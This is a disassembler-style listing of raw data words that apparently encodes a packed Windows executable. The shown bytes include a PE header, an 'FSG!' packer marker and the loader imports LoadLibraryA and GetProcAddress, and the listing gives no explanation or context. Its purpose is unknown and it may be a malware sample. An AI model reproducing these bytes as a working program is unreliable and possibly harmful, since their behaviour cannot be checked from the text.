		dd 70127C89h, 5C486424h, 4C225491h, 893C4444h, 24301234h
		dd 9124482Ch, 4414221Ch, 848B040Ch, 8A9F444h, 22E491ECh
		dd 0D0D844DCh, 0C412C889h, 0B048B824h, 140A891h, 9411CCA0h
		dd 84898C09h, 0F8B96812h, 3A781328h, 0F4566C21h, 58116432h
		dd 75733498h, 16F0624Eh, 679EB69h, 0BB57CD5Ah, 720EFD10h
		dd 5F666974h, 6C4A20A8h, 506B7BE1h, 6E370C4Fh, 34F58F2Ch
		dd 0B79702Fh, 0FF5E4437h, 0D066BC3Ch, 643F611Ch, 796EA26Dh
		dd 25675E70h, 0E407AE51h, 36CD622Eh, 286C6FF8h,	66512D64h
		dd 861B173h, 0A0DF667Bh, 623678A9h, 6F6E3675h, 6C29560Ah
		dd 0D1B68C70h, 0AC3CD2A8h, 79189EDBh, 0FA6D6F20h, 0F364E862h
		dd 40CD7C57h, 0A6046C19h, 0DC408A1Bh, 0B84B690Ah, 0F8D07236h
		dd 75626740h, 32734275h, 88792D6Dh, 721504CAh, 0D6916B58h
		dd 36619D33h, 74890E24h, 10314668h, 10D15E84h, 77627017h
		dd 0A8616DDCh, 0E120359Fh, 9E0D12D1h, 0DB77ABCh, 516EB6D1h
		dd 60687009h, 190A6788h, 6C5F3703h, 0D16179E9h,	0A7E8BB3Ah
		dd 8045D07Ah, 637475E1h, 2E736667h, 414164A3h, 0FA63BEA5h
		dd 705C41FBh, 6049CA67h, 0D8116F6Bh, 4DF376B8h,	825B4799h
		dd 8AF6F2Eh, 0F7402455h, 33E7EF70h, 6E126111h, 0DD108DC4h
		dd 0D0516F64h, 63660A74h, 6F3F552Dh, 78105484h,	8A8B8DCh
		dd 554B756Eh, 0FEF05A8Eh, 3FB0936Fh, 1178759Bh,	3072D436h
		dd 8F80A375h, 85BBFA3Eh, 0AE96DE2h, 2F735067h, 4E678D10h
		dd 29814AC2h, 0B2020D78h, 6821D0BEh, 69140024h,	80286C3Fh
		dd 79AA836Bh, 7096E8B3h, 753890D1h, 65906D56h, 102676B0h
		dd 6D10E113h, 71147379h, 498E726Ch, 4505530h, 29B85A8Ch
		dd 78650810h, 40AA4191h, 0A873DAA9h, 429D15B9h,	709890A9h
		dd 3433F768h, 0CD09E841h, 0EF741A94h, 0FF7354DDh, 8A6029D2h
		dd 0EC6D7950h, 0F76A96Eh, 35E87744h, 19AC776Ah,	47721468h
		dd 147A6708h, 34E8256Ch, 59430841h, 2D09D579h, 10A52871h
		dd 6ECF701Fh, 64768D68h, 39D088FAh, 7AA376BFh, 8D7E1168h
		dd 184A1034h, 3A321067h, 0FFD89B7Ah, 0F5889399h, 0B0770C0Ah
		dd 0E2A00C29h, 0C4087948h, 74996766h, 0F4767AE0h, 810AA75h
		dd 0DE3F44CFh, 180682F1h, 81ED086h, 62774E98h, 7581BCF7h
		dd 82F18386h, 9AF5AE65h, 6AD30D4Dh, 626886F2h, 0DBAA2DEh
		dd 0B70D78A2h, 742C98B2h, 0ADF42CAFh, 20D8612Bh, 28F6FB1Ch
		dd 0A16219D2h, 3A4C5666h, 6A9E7150h, 37AF61D1h,	9FCE3074h
		dd 7674786Ah, 38627889h, 25064C41h, 46A78373h, 0F07AC824h
		dd 20248B66h, 2028DF70h, 0DC88FC8Ah, 2431A618h,	670DCF44h
		dd 0FAE405D6h, 0CE6CFB23h, 997FFF1Ch, 6166F805h, 0FA6E0AA9h
		dd 21681C91h, 3704049Fh, 474CBDB0h, 1059DE5Ch, 0B7FDEA78h
		dd 9ED32F68h, 313058h, 35343332h, 39383736h, 502F2B28h
		dd 7F7F3FBh, 0B2F41B2Dh, 18370668h, 24A4100Eh, 7864910Eh
		dd 74897F2Eh, 7074C9D3h, 2D890A44h, 0A4310818h,	0FDAC831Bh
		dd 5F670922h, 180A1C88h, 5F3D032Dh, 0F10612DBh,	0B907533h
		dd 58388734h, 133048D8h, 749D024Eh, 9BFF6150h, 404C2AD8h
		dd 2E2D0E3Ch, 814215Fh,	0C6A040C8h, 20B16698h, 5C0902B5h
		dd 7328B063h, 710C9070h, 5C34A02Eh, 3A10A12Ah, 240819DFh
		dd 911C5CAFh, 0F0100C09h, 44E822AEh, 208AC4D0h,	3543496Ch
		dd 0E46B582Eh, 0B25F5749h, 63428780h, 4DEA0E89h, 0C100186Dh
		dd 806F3530h, 0F0F57546h, 32705F78h, 4161480Fh,	68A61E68h
		dd 6B390Fh, 44505647h, 85345130h, 1EF750ACh, 0E0B0E872h
		dd 4A4914Ch, 955A4F51h,	0F80C8DB4h, 25E3306Bh, 5124C35Ah
		dd 6F13A74Fh, 0D9B96034h, 397097D1h, 763F7951h,	0F25F30B8h
		dd 0B258CE84h, 5F3B8D1Eh, 0A47068E7h, 0B46455F5h, 20102947h
		dd 0E86D2749h, 0AE785945h, 4A47A851h, 64614DE1h, 8498D77Ah
		dd 0EF30A143h, 2D401E64h, 13078F7h, 181C0100h, 4B034010h
		dd 984E5245h, 1C32334Ch, 786C642Eh, 6538553Ah, 6E2670B0h
		dd 61E47469h, 0F47AD5FFh, 15CC7243h, 0F5531663h, 6F101CD7h
		dd 0F3591E6Eh, 72C34620h, 676CCFFFh, 62374F54h,	45072F6Ah
		dd 0E0736FA3h, 0DF6E6148h, 493CB880h, 10693EE6h, 3077536Ch
		dd 0FD61FA72h, 410F85EEh, 0AF4C180Fh, 8E26DB73h, 3219867Ah
		dd 7808754Dh, 9C571AA6h
		dd 776F6407h, 72764473h, 7940CA9Fh, 454D9E15h, 426C7564h
		dd 6D614E3Eh, 40544291h, 6F436B8Ah, 0D06E753Ch,	94DF500Dh
		dd 3964418Eh, 83C77366h, 0D061DB4Eh, 0F962694Ch, 8C3C9EDAh
		dd 5422CD93h, 488EFEDCh, 1A81E81Fh, 47706372h, 0EAF6E00Dh
		dd 0D89CB68Dh, 0DBF74964h, 0A8C0866Dh, 9740DB0Ah, 70EAA16Ch
		dd 0B866DD4Ah, 41FC7C4Ah, 755BA3FFh, 4248E333h,	6D3C4E29h
		dd 0A416915h, 5A551299h, 0D6482AE6h, 911B4348h,	0EC4E280Ah
		dd 900B7449h, 7214660Eh, 9F1AA54Eh, 76BD7F44h, 7079540Ah
		dd 9D53470Eh, 3C920536h, 44ED450Dh, 542C24B4h, 69453B69h
		dd 20FD1217h, 4848F705h, 0F9536773h, 949F010Fh,	6618D370h
		dd 7847206Fh, 6854CFA0h, 64496A92h, 0DB0DD070h,	33BED651h
		dd 68245070h, 8C594A28h, 0D0784536h, 0EB644811h, 547C6831h
		dd 42FF4C6Fh, 2E937974h, 4A6CC637h, 6411EC01h, 0C453E440h
		dd 92249D27h, 5454D85h,	92506761h, 827028ACh, 0B8663DA1h
		dd 0EE10204Dh, 29567A44h, 0B1284950h, 414F67CEh, 0DD4B6ED4h
		dd 41C89479h, 7551120Eh, 5613761Fh, 190E4D1Ah, 994D4311h
		dd 2F53210Ah, 1A0C1F68h, 2B38CC53h, 0B9C0B401h,	4356534Dh
		dd 5A545452h, 0B8C89175h, 76C86138h, 0EC6E1E66h, 40333F0Eh
		dd 5058A659h, 0E05AEE06h, 74634868h, 69323CD5h,	0BF6B7718h
		dd 57F71877h, 0F6B40E87h, 14DC306Fh, 0EDAD675h,	1608B832h
		dd 795F9D4Bh, 0E7F7F373h, 603A8CD9h, 65734875h,	74366E32h
		dd 1828406Bh, 76260672h, 49382369h, 32DA9940h, 4968D916h
		dd 4C6A89DAh, 6E500720h, 55A66846h, 657C6749h, 890A6F68h
		dd 1D20F177h, 936B8C81h, 453461D2h, 6B672B59h, 86D64121h
		dd 151165BFh, 2E676964h, 65C79241h, 2678205Dh, 62C21211h
		dd 416D756Eh, 93E66362h, 544AEFB0h, 0CE58353Bh,	55ADFA27h
		dd 0CF5DB304h, 1F6C6F3Bh, 1FB23BA6h, 0C26D0467h, 0C6436EC4h
		dd 118673CBh, 6D4D5ED9h, 0D2062749h, 68F2AB17h,	1BC5710Ch
		dd 7433206Ah, 4176D066h, 0B104F41Ah, 0EA6CAE83h, 0F1034C70h
		dd 0DB680123h, 0F5D2379Bh, 72428C68h, 10813348h, 57041178h
		dd 9D5F3253h, 0C20AC1DBh, 48170185h, 12640906h,	6191332h
		dd 4386040Ch, 900B2101h, 6473C834h, 1910320Ch, 860D0C03h
		dd 60350254h, 9609E1D6h, 0F34D9C54h, 1DBC547h, 6675426Ch
		dd 469087C6h, 11A8BF2Fh, 48B2534Dh, 30255220h, 0A4BE0002h
		dd 0AD004001h, 0AD97AD93h, 80B29656h, 0FF80B6A4h, 33F97313h
		dd 7313FFC9h, 0FFC03316h, 0B61F7313h, 10B04180h, 0C01213FFh
		dd 3C75FA73h, 0FFE0EBAAh, 0F6020853h, 7501D983h, 453FF0Eh
		dd 0D1AC26EBh, 132F74E8h, 911AEBC9h, 8E0C148h, 453FFACh
		dd 7D003Dh, 800A7300h, 67305FCh, 777FF883h, 95414102h
		dd 0B6C58Bh, 2BF78B56h,	5EA4F3F0h, 0D68B9DEBh, 7448AD5Eh
		dd 0AD02790Ah, 0F28B5650h, 0AD87EB97h, 0AD465E93h, 13FF5697h
		dd 0C084AC95h, 0EFEFB75h, 579F074h, 0EB50AD46h,	0F0EFE09h
		dd 0FF265D84h, 0FF5556FFh, 0EBAB0453h, 41C933E0h, 0C91313FFh
		dd 0F87213FFh, 75D202C3h, 46168A05h, 3BC3D212h,	12Dh, 0
		dd 54000000h, 3B000001h, 12Dh, 4 dup(0)
		dd 61000000h, 6F000001h, 1, 3 dup(0)
		dd 505A4Dh, 2, 0F0004h,	4550h, 2014Ch, 21475346h, 2 dup(0)
		dd 818E00E0h, 10Bh, 4200h, 6E00h, 0
		dd 12F5Ah, 1000h, 0Ch, 400000h,	1000h, 200h, 1,	0
		dd 0A0003h, 0
		dd 14000h, 200h, 0
		dd 2, 100000h, 2000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 1301Fh, 34h,	1Eh dup(0)
		dd 0D000h, 1000h, 5 dup(0)
		dd 0C00000E0h, 2 dup(0)
		dd 6000h, 0E000h, 5053h, 200h, 3 dup(0)
		dd 0C00000E0h, 4E52454Bh, 32334C45h, 6C6C642Eh,	4C000000h
		dd 4C64616Fh, 61726269h, 417972h, 74654700h, 636F7250h
		dd 72646441h, 737365h, 6 dup(0)
		dd offset byte_413015
		dd offset byte_413009
		dd offset byte_41300B
		dd 400198h, 401000h, 40E000h, 406001h, 40D001h,	0
		dd offset dword_4030B8+934Ch
		dd 1, 413047h, 0Eh dup(0)
		dd 311738E8h, 0EE6A7070h, 0E3F60C8h, 0BB400569h, 43FDC0E5h
		dd 0C3F20370h, 28269E38h, 53F20EA3h, 0E8D88B06h, 7602FFE3h
		dd 0F71019C1h, 0BB5B0BEBh, 8A068024h, 1888421Ah, 0D98B0040h
		dd 85FFC183h, 0F16675DBh, 0E8896A28h, 309C602h,	0C0E09068h
		dd 0CCE8501Ah, 31611A1h, 71B6210Fh, 10A00280h, 0EC068B55h
		dd 57565351h, 9E0D92Eh,	845F8F9h, 5032F2F2h, 903E3853h
		dd 0C558D9Fh, 565752FCh, 7C8BE61Ch, 5E5F0134h, 0C25D595Bh
		dd 349DC204h, 94B26C91h, 1DECA3Ch, 8C12CC85h, 0D3DF3E45h
		dd 1B5FCA40h, 78CB8BAh,	0C41481A0h, 6F0FE6Ch, 8B240489h
		dd 748D3B06h, 5E82A78h,	1DEB18A7h, 0D2330290h, 190ABB30h
		dd 252F3F7h, 574C00Bh, 1748EDE8h, 30030458h, 0C3460688h
		dd 6CE0A6C6h, 94765644h, 0D440016Dh, 11B98C9Bh,	580BB82h
		dd 87CD33Bh, 0C8AF0F0Ch, 1A7D1043h, 37C18BF8h, 7B8B108h
		dd 5EFF33E8h, 4C3DF485h, 1DC6D89Ah, 0D0D94592h,	0D008E420h
		dd 2B63B850h, 0B961D37Eh, 0EBE0FBDh, 2D06320h, 0F803E9F7h
		dd 69484E4Bh, 0C7288BDCh, 438BC85Dh, 0FC10D41Ah, 0F2F42640h
		dd 0A8C75084h, 0A60370E8h, 68502881h, 820F70DDh, 4A80F824h
		dd 40EA785h, 2BEB8133h,	24C88D54h, 7952480Ch, 4C8B5783h
		dd 0E85118D0h, 861D6952h, 0F0388B0Eh, 45E81552h, 833423Eh
		dd 9941F0B2h, 0A4148D66h, 2999C6FDh, 5101AC68h,	8046E8CAh
		dd 8D646A47h, 0D9FC2494h, 86D641Dh, 0D9F8FA8Ch,	1036A21Bh
		dd 0E60C408Bh, 760AEA10h, 218FA189h, 97140F44h,	0ED3C2254h
		dd 6008FD99h, 9C84F3CFh, 2485C25h, 6A08D469h, 0B8866BDBh
		dd 68BD2710h, 2CC1573h,	40AB5ABDh, 5578CAB6h, 0E8805BC2h
		dd 0ED1C4BB2h, 0ABB8023Dh, 220B52A9h, 6B3040D4h, 125747D4h
		dd 0F5C75EBh, 288794A8h, 0B852100Eh, 37512044h,	6AB08B50h
		dd 51491993h, 40202055h, 0C4D8FACh, 176B3231h, 2D016903h
		dd 99B9118Ah, 0D38B8581h, 93764AB8h, 68F04194h,	0E95613A7h
		dd 34223BF1h, 0C7950F1Ch, 8601E083h, 0C27810F6h, 2375E278h
		dd 8B204490h, 9A4748C6h, 873D3B24h, 0DDE88372h,	549D5467h
		dd 59D2AB81h, 0A2F81CA3h, 5DF6EF29h, 0C3062090h, 8840F48h
		dd 72D243Bh, 2E748C66h,	0F3D0560h, 3B216185h, 32911075h
		dd 0CB56F0Eh, 1D8B1106h, 9521455h, 0E0A2104Dh, 0B1A328E8h
		dd 8C85F2E9h, 19DD2EA8h, 51D801DDh, 52F88B0Fh, 8D14E868h
		dd 0BD405F85h, 8B9FA8F4h, 60042815h, 8DEE83ABh,	37121314h
		dd 95C52793h, 0C2030C06h, 574F4442h, 0DC07FECh,	0F20F883h
		dd 40C7A69Ch, 0E1FCC1FFh, 6074A983h, 4DE84848h,	892C5748h
		dd 7D830C2Fh, 0E537510h, 261E2314h, 0C4B3BD46h,	8C225017h
		dd 0E4C8FE39h, 7613A1D7h, 0A9080814h, 0AFBA5084h, 2B92C91h
		dd 2974C6C2h, 911B5BE8h, 0C12B7D87h, 186FD63Ch,	0B21FEB1Fh
		dd 419A81B4h, 0BA140B42h, 8114241Ch, 0A0620222h, 0E58B45A2h
		dd 0C010B9C1h, 0C4348353h, 83C21EBCh, 1C6840C7h, 11C1D803h
		dd 13666020h, 0F31089DAh, 28E440D2h, 3CC96F33h,	2CE70C92h
		dd 4CDB3021h, 3429331Ch, 2C493821h, 2D1C3002h, 0C2DC8B3Ch
		dd 61524069h, 0DA8D0209h, 4D50653Bh, 0CF8F6404h, 0C1B20ACAh
		dd 522551BDh, 8591026Eh, 8E21300Ch, 0FD0C5DDBh,	4C183476h
		dd 75C50DB2h, 449504E4h, 0CCBDC5Bh, 0D82CEDA4h,	864E8BB8h
		dd 0F519FBA6h, 0FF5EE21h, 6CF80942h, 1BB95186h,	11D92921h
		dd 0A45929ACh, 4460A0Dh, 0BB84A697h, 0CC1695Ch,	6408C683h
		dd 72FBBB34h, 3E30F63h,	3D068CF0h, 359EB108h, 14418368h
		dd 46C803DAh, 9820C281h, 41DB8B02h, 51F9DB30h, 22406673h
		dd 0E8D50B03h, 31ADFABBh, 0E638477Eh, 72322BA4h, 2E10D3AEh
		dd 1A9AC5EAh, 39C7F1F4h, 82737326h, 0F63310FBh,	75B3BF2Ch
		dd 1E157F9h, 3A533D08h,	797F2CE5h, 39F222FEh, 4BEBF610h
		dd 39D016AAh, 46F9722Ch, 11BB3138h, 0FDB2D268h,	0A839E626h
		dd 54C24612h, 0AD294F66h, 1326E1BEh, 0A9227517h, 6C4F4202h
		dd 0A9CA8E59h, 6114D873h, 17FA35CBh, 6072C46Ah,	8262340Ah
		dd 30528505h, 0E8DB33CAh, 88FB7169h, 0E5A37FCBh, 283846B2h
		dd 8E054921h, 0CD7B8D39h, 68E5FA5Dh, 51084C64h,	0A11044E4h
		dd 12EF0329h, 108445D2h, 0ABA89E9h, 154C88F6h, 3015FB51h
		dd 0DAC4F652h, 1C2A5838h, 74556851h, 1CC544E3h,	0D13737D5h
		dd 501C1291h, 62D85387h, 49BC37ACh, 55C1844Ch, 0E196A4F1h
		dd 52D20384h, 14787097h, 8C365294h, 0C48E3266h,	16C3B853h
		dd 0A659F9E6h, 0EFBA149Eh, 97D99740h, 6147181Dh, 2D5E9C45h
		dd 6390B4D4h, 627C8B55h, 50189249h, 9A10444Bh, 0C548494Fh
		dd 0DA68141Fh, 0A20290ACh, 23313761h, 5237C814h, 0E44E26C8h
		dd 1A684510h, 0E23B2648h, 0FF0636FDh, 0E5106EC0h, 0FB02092h
		dd 5C9AEF82h, 214AF694h, 803F7924h, 0F98308BEh,	6003750Dh
		dd 40421EC6h, 0A891FA81h, 85EB7C02h, 40CD4EDBh,	989B28C5h
		dd 6849FC64h, 0BABE143Bh, 1C7042E9h, 0A0C8F22Fh, 4C3644C7h
		dd 0C166EA9Ah, 3B198536h, 9D93C48Bh, 83BF22F7h,	2A74C560h
		dd 0F8E86AB2h, 0C635618Ah, 73350949h, 0A075CEF5h, 26A33094h
		dd 0B040E65h, 5293C716h, 3265D441h, 0F7F1F10Fh,	0AC43291Ch
		dd 0B372EB1h, 0B36E3B1h, 0B36C1E1h, 8F35EA11h, 433B11ACh
		dd 13D72942h, 0F4C9991h, 0FF6013EAh, 0CE18B8C9h, 5FC48A23h
		dd 0A146BE32h, 0E8FCA333h, 50252721h, 43D90A93h, 584E2335h
		dd 0B4563D42h, 0F605176Eh, 8B37DE03h, 7E1D60E6h, 22FEC82Bh
		dd 7584B98Ch, 5ED64D8Bh, 6D308889h, 8D0102C3h, 0ED85FE6Bh
		dd 0D54C1774h, 486BC628h, 53500E50h, 0AE6DE80Eh, 26DB3769h
		dd 44AB3CC7h, 34BD0404h, 2922338Ch, 644B93B9h, 8804543Dh
		dd 41BB1B08h, 41527h, 64FF8342h, 568C2A0Fh, 51082C2h, 0EA4AA0CCh
		dd 9C71DB5Dh, 0CCBF6984h, 0AC9890AAh, 22947C24h, 93E0B806h
		dd 3FE8140Ch, 8D8395F6h, 0B164D687h, 4657EC9Ah,	1FE2974Bh
		dd 0C645818Eh, 845D0649h, 0FF281B32h, 2792EB9Fh, 7191350Ch
		dd 0D55114B7h, 38944201h, 0D7E91781h, 16FC3308h, 84315214h
		dd 0F863517Ch, 0A752E4Ch, 3C52FF10h, 666A1621h,	7C3299CFh
		dd 0C543950h, 0FF120AD8h, 12741C51h, 8490B2C3h,	353A145Bh
		dd 44A172Ch, 92E83C31h,	22C68853h, 0E9E0A236h, 0F908572Ch
		dd 0FB3097EDh, 34044574h, 37D080D0h, 641C886Dh,	0E9204754h
		dd 228D0894h, 65268EAh,	2C63983h, 80ACC0B9h, 0F5750CFFh
		dd 8C1D651h, 55EAD156h,	0A438E948h, 0D12D4465h,	220FEE48h
		dd 44C616F7h, 0BE7A9635h, 0E8888870h, 27334F34h, 1DCD36BDh
		dd 0CCFE7B98h, 962DFD58h, 840F2380h, 6625D9B4h,	50667206h
		dd 334D61F7h, 11238D76h, 5229243Ch, 5014910Fh, 2452557h
		dd 0C43D2A91h, 821632FFh, 0F992E68h, 76B114F0h,	0D128A265h
		dd 942CB140h, 8C304423h, 2D91345Eh, 9E7BCC3Ah, 940F5294h
		dd 480150Ah, 488C889Fh,	33289226h, 0D0794484h, 32D5238Ch
		dd 3F639711h, 2623512Ch, 938490C2h, 0F449EA04h,	92B5E19h
		dd 0DFA69560h, 0F44D4B29h, 0AC472091h, 55167D17h, 3773AE8Ah
		dd 7F1F68FAh, 0ECEB94A9h, 12741A34h, 0CA32BCF2h, 0FB4022Bh
		dd 85700340h, 1DC12439h, 0C820171Eh, 50A84BB6h,	28F50524h
		dd 398A3891h, 31FBE289h, 2A532846h, 9CEC220Fh, 5334C488h
		dd 0D96A7C82h
		dd 274016FEh, 29E05AF9h, 49F4A006h, 0A1DCF280h,	88372864h
		dd 3C923849h, 31556E51h, 0A5E8D144h, 0A866FEFCh, 325C4DF6h
		dd 8777CA5Ah, 0B2845811h, 23746231h, 0D6D2D58Bh, 4C9F3649h
		dd 8D886113h, 5162648Fh, 0E48A0851h, 0D3C5234Ch, 781422C6h
		dd 0F8D10C9h, 91C2AC15h, 2C428E6Ah, 0CE2CCD3Dh,	12581438h
		dd 2D46F014h, 6A0D4B8Ah, 171A4C0h, 870FD63Bh, 90A7657Bh
		dd 1E946CBAh, 6230D913h, 0EA29B35Bh, 0A96B7AA1h, 0FD4A40FBh
		dd 0C23A4821h, 0E2F91DB9h, 2867C41Bh, 483128CFh, 848111F7h
		dd 7D6330BBh, 35EB1115h, 15A6CAF9h, 9C506864h, 14F9C12Bh
		dd 0A2DE1591h, 7F7ACC8Ch, 863C1085h, 5658C177h,	1121C8C4h
		dd 48489473h, 9827A453h, 2343B975h, 845C1154h, 0D962308Ch
		dd 8C2FF330h, 9487B578h, 0A0C815DEh, 217B9CA0h,	0C953C8A6h
		dd 8C8B2215h, 85B77AC8h, 0A4A74410h, 2F493103h,	904CC80Ah
		dd 1358A250h, 54C83AACh, 64625C64h, 8C2FC430h, 91033F21h
		dd 2EEDC42Bh, 218E163Ch, 66112ED8h, 68EE0188h, 0EAEF512Eh
		dd 884C4214h, 2E81C269h, 21549115h, 27604458h, 5C907558h
		dd 6CC464C8h, 182EFC61h, 637F8C81h, 8A25468Ch, 1065154Eh
		dd 319BC832h, 0FB154C39h, 88C82D52h, 28945B27h,	0B9218C9Eh
		dd 125C592Dh, 68421460h, 64598775h, 468C6C0Ch, 91342374h
		dd 2D9B84B0h, 3CC45D63h, 4515A686h, 9A9C0748h, 3271C5C8h
		dd 0C8963315h, 10855F7Ah, 30C6A25Ch, 64852CF1h,	51684864h
		dd 1DD60970h, 74326C64h, 6C187C31h, 0D8232D46h,	0C72CD308h
		dd 0BE798895h, 8A80154Ch, 62FC9C05h, 1599A9C8h,	0C863146Bh
		dd 6428D497h, 88FF1185h, 38B6E429h, 0A70896Ch, 0C33A7821h
		dd 428674ACh, 845A647Ch, 0CB44CEB3h, 102C46A1h,	8C80413h
		dd 1E2BCAE2h, 788CF37Dh, 352184B5h, 15DE9404h, 0CBA3A0C8h
		dd 44A1CC1Eh, 82E2646Ch, 428D2828h, 0D10CCA01h,	43D5848Bh
		dd 0AB374024h, 40044270h, 3F87201Eh, 69DB4246h,	2265C536h
		dd 690E451Bh, 864164Eh,	7C10749Ah, 0CA024AFBh, 0D0EA8B04h
		dd 23B39556h, 4140AFE9h, 12D39DCh, 886CF08Bh, 0E9120720h
		dd 8CE202C8h, 2A32081Ch, 3B0C4208h, 0E856056Ah,	7AA22CF6h
		dd 7C83100Ch, 771C0808h, 112BB07h, 0DB37D1E2h, 13F0A34h
		dd 75FF85F8h, 0E2189A10h, 0E016D24Dh, 488052E9h, 0B3282012h
		dd 930824D3h, 4610DFBEh, 900C2780h, 0CD66C954h,	0DE542C3Bh
		dd 99F96DFAh, 30432EB3h, 0C8343793h, 7A86386Fh,	645C7A3Ch
		dd 0A9440940h, 0EB208A41h, 6530C0BBh, 627FD250h, 9C2E148Fh
		dd 2216750Ch, 0D9578968h, 70804B62h, 14F1198Bh,	33352A52h
		dd 5740222h, 84FFF883h,	38323E2Ah, 8E6EB416h, 0CC0A2068h
		dd 0EA8360A7h, 0EDE85219h, 561A55E8h, 0C04326Ah, 0AA265477h
		dd 43A043Fh, 0A2BFE31h,	829D9C22h, 728D10ECh, 2C5350D3h
		dd 8B39C5D6h, 84DC0DD8h, 42B55122h, 0D7542E4Dh,	0AF0F158Bh
		dd 100540F7h, 3E9C11Fh,	0E04ED3DDh, 83C8C702h, 418936B2h
		dd 8144EDBh, 0AA1522Eh,	0C1C05410h, 0C28302E2h,	820D42D2h
		dd 2D911F56h, 224A535Ch, 606EC84Ch, 3BAA43A8h, 64384D8Ch
		dd 3C35888Ah, 53526811h, 78325421h, 6C5B2C6Ah, 464E488Bh
		dd 365A56D5h, 33C87AA1h, 759C4778h, 6D405E7Ch, 144AC41Ah
		dd 2EEB9D2h, 8242339Dh,	612F140h, 0FB29CBE8h, 0FD4883ECh
		dd 66202542h, 2AF22091h, 43065755h, 8AE4EC18h, 3C8A2812h
		dd 20906FB6h, 90BB0E26h, 0A4059358h, 174828DFh,	498E2D44h
		dd 69A994EAh, 0F2C8E4E1h, 16494046h, 0E3C182DDh, 1830C302h
		dd 34505849h, 48AE28AEh, 2210F389h, 514283Ch, 4C411849h
		dd 49B29FCBh, 20C2C8Ah,	0DEE82949h, 0DD926094h,	4A5A91A1h
		dd 4841B91h, 0F5B93D3Eh, 135003F0h, 0E2FD480Eh,	9D8D0FC0h
		dd 0A3B7F27Ch, 0E2648513h, 287F1075h, 6410239Ch, 27281EC4h
		dd 27DAE2C8h, 0C37D8302h, 8B1D9858h, 0E8107F45h, 510C274Dh
		dd 6611DE6Bh, 0E8156240h, 0E90A8CBAh, 4B230863h, 15419206h
		dd 891046C7h, 136BF239h, 59013881h, 0C2BD2A92h,	0C90CBE02h
		dd 2C16877h, 11FC7952h,	0C75B244h, 0DA562680h, 9A171383h
		dd 0D8622751h, 71FF118Ch, 60A91C7Ch, 0D631FB42h, 0B649683Bh
		dd 81225C8Dh, 1014772Eh, 4D5B0CB3h, 2A1D3332h, 0C27C221Fh
		dd 55232243h, 834A1164h, 7740BD5h, 0FAB878C1h, 0B5BD5928h
		dd 0B831719h, 75351547h, 627BB58Fh, 8480655h, 0C1FC1C93h
		dd 44B3E8A4h, 81CF0508h, 1FE8939h, 407609Bh, 0F8B4C777h
		dd 8287D21h, 8D0DC2B9h,	0CD542CBDh, 2F44BE09h, 140CEE18h
		dd 0F3104022h, 6266A539h, 24F5F834h, 0D1952C76h, 0C4881A20h
		dd 829A844h, 47849014h,	4F5C88DAh, 28D963E8h, 1C8F3E08h
		dd 704762F4h, 0A244C088h, 47848C78h, 425888D4h,	42366406h
		dd 0C7382324h, 6A9178F0h, 9C11BCE2h, 1188211Eh,	1354E2CEh
		dd 42366582h, 0C2322320h, 6424F2ECh, 4784B878h,	44848896h
		dd 845078C8h, 1C88FA47h, 0D8A82C47h, 5E89F1E8h,	11B4211Eh
		dd 1180E290h, 4C211EC2h, 18E2F411h, 8D672610h, 91F0E488h
		dd 11B0E258h, 7C211E8Ah, 48E2BC11h, 31AEE11h, 20BEFB8Bh
		dd 1F212168h, 4403898Eh, 0E1C10453h, 8304F5C4h,	0D7F906Dh
		dd 93084B39h, 5F080C43h, 2830B25Ch, 0CD10422Ch,	223C142Ah
		dd 13306917h, 18423309h, 3C281C2Ah, 8521128Ch, 204B0C58h
		dd 3CDC242Ah, 0DD30D4E2h, 9A284299h, 933C2C2Ah,	883028D5h
		dd 30433312h, 3C22342Ah, 2030C854h, 353842B3h, 263C3C2Ah
		dd 9BA430A9h, 2A4042CCh, 843CCA44h, 50950812h, 32484343h
		dd 1C3C4C2Ah, 6F49302Dh, 2A504299h, 673CA954h, 83803032h
		dd 32585312h, 4C3C5C2Ah, 8B18302Ch, 2A604233h, 3B3C5264h
		dd 4C2D306Ah, 2ACC6842h, 0A37C3C6Ch, 1048BA12h,	2AC97053h
		dd 0F6FDE174h, 0BA7885E8h, 428F99D4h, 522D2362h, 810D05h
		dd 0C102517h, 6CE889B3h, 0B2E945C7h, 85051B0Ah,	2808EE48h
		dd 0CF4EB704h, 342E8A90h, 3A0D51BFh, 9924FC08h,	974AAC0h
		dd 0CCCE4817h, 2AEB1968h, 5C69C752h, 8BCF9C01h,	0C24F1494h
		dd 36809D8Eh, 38A11EBh,	74063A09h, 956C6108h, 46472440h
		dd 204FAC43h, 3B0222D2h, 83DF7CF8h, 743DA3BDh, 5A59B520h
		dd 0B54F680Ch, 8825AD28h, 0AC9A7F18h, 22177929h, 4146C85h
		dd 7607958Bh, 184A024Ah, 0F6C4943Eh, 0D0AC1D17h, 1577DBF8h
		dd 97B98437h, 50673B43h, 0E04E09ACh, 0E33BE818h, 2E89D87Bh
		dd 0A74E3C1Dh, 107568C0h, 0D4418A6h, 8B15A1A3h,	5FF81B54h
		dd 5025AC30h, 0AF5B4BBAh, 2491FDDDh, 1EA1285Fh,	39D490F4h
		dd 21B6B756h, 0EC8523Dh, 36221F42h, 6443488Eh, 17E44E21h
		dd 1B8A412Ch, 0C88ABF47h, 7B14C148h, 0FC45004Eh, 588ADB33h
		dd 0F11C304h, 0C1B950B7h, 758029FAh, 0E8E28080h, 9F779468h
		dd 8150078Bh, 0C19BFCE7h, 0DC9E10ECh, 0BC8D2316h, 1D3F501h
		dd 7520FB10h, 2FC6132Ah, 610E91F3h, 64909F70h, 992FE83h
		dd 48129E43h, 0C86522EDh, 0D3D6412Bh, 0AF1A0FB2h, 26BB06A4h
		dd 72928028h, 482286FFh, 535704EDh, 8B2267E8h, 933C514Dh
		dd 2F8A6C8Ch, 0E1ECE809h, 3589F610h, 0FE904F91h, 1DE1BEE1h
		dd 567EDBFCh, 5C28EC1Dh, 5BECD0BDh, 22CB8B85h, 0A280E13h
		dd 0E9453844h, 8BF3214h, 126CAE74h, 0DE189D09h,	0D9A1D10Bh
		dd 88CE269Ah, 406D718Dh
		dd 3D89F87Fh, 210EFF86h, 528B453Fh, 0DE08C11Bh,	51BA11E1h
		dd 366F8625h, 91452462h, 84BF1F1Ch, 36939D82h, 2122CEF3h
		dd 549A8C74h, 855339A5h, 55151521h, 0A07FC81Fh,	750D15ABh
		dd 55DE9F5Bh, 0D2C48352h, 1A8372E0h, 0A3569C1Ch, 2A414219h
		dd 554C6045h, 1521A41Fh, 6058E0F5h, 558B881Fh, 0BE521027h
		dd 2735E568h, 0C49627Bh, 45F6520Bh, 85B5FFE4h, 7014B873h
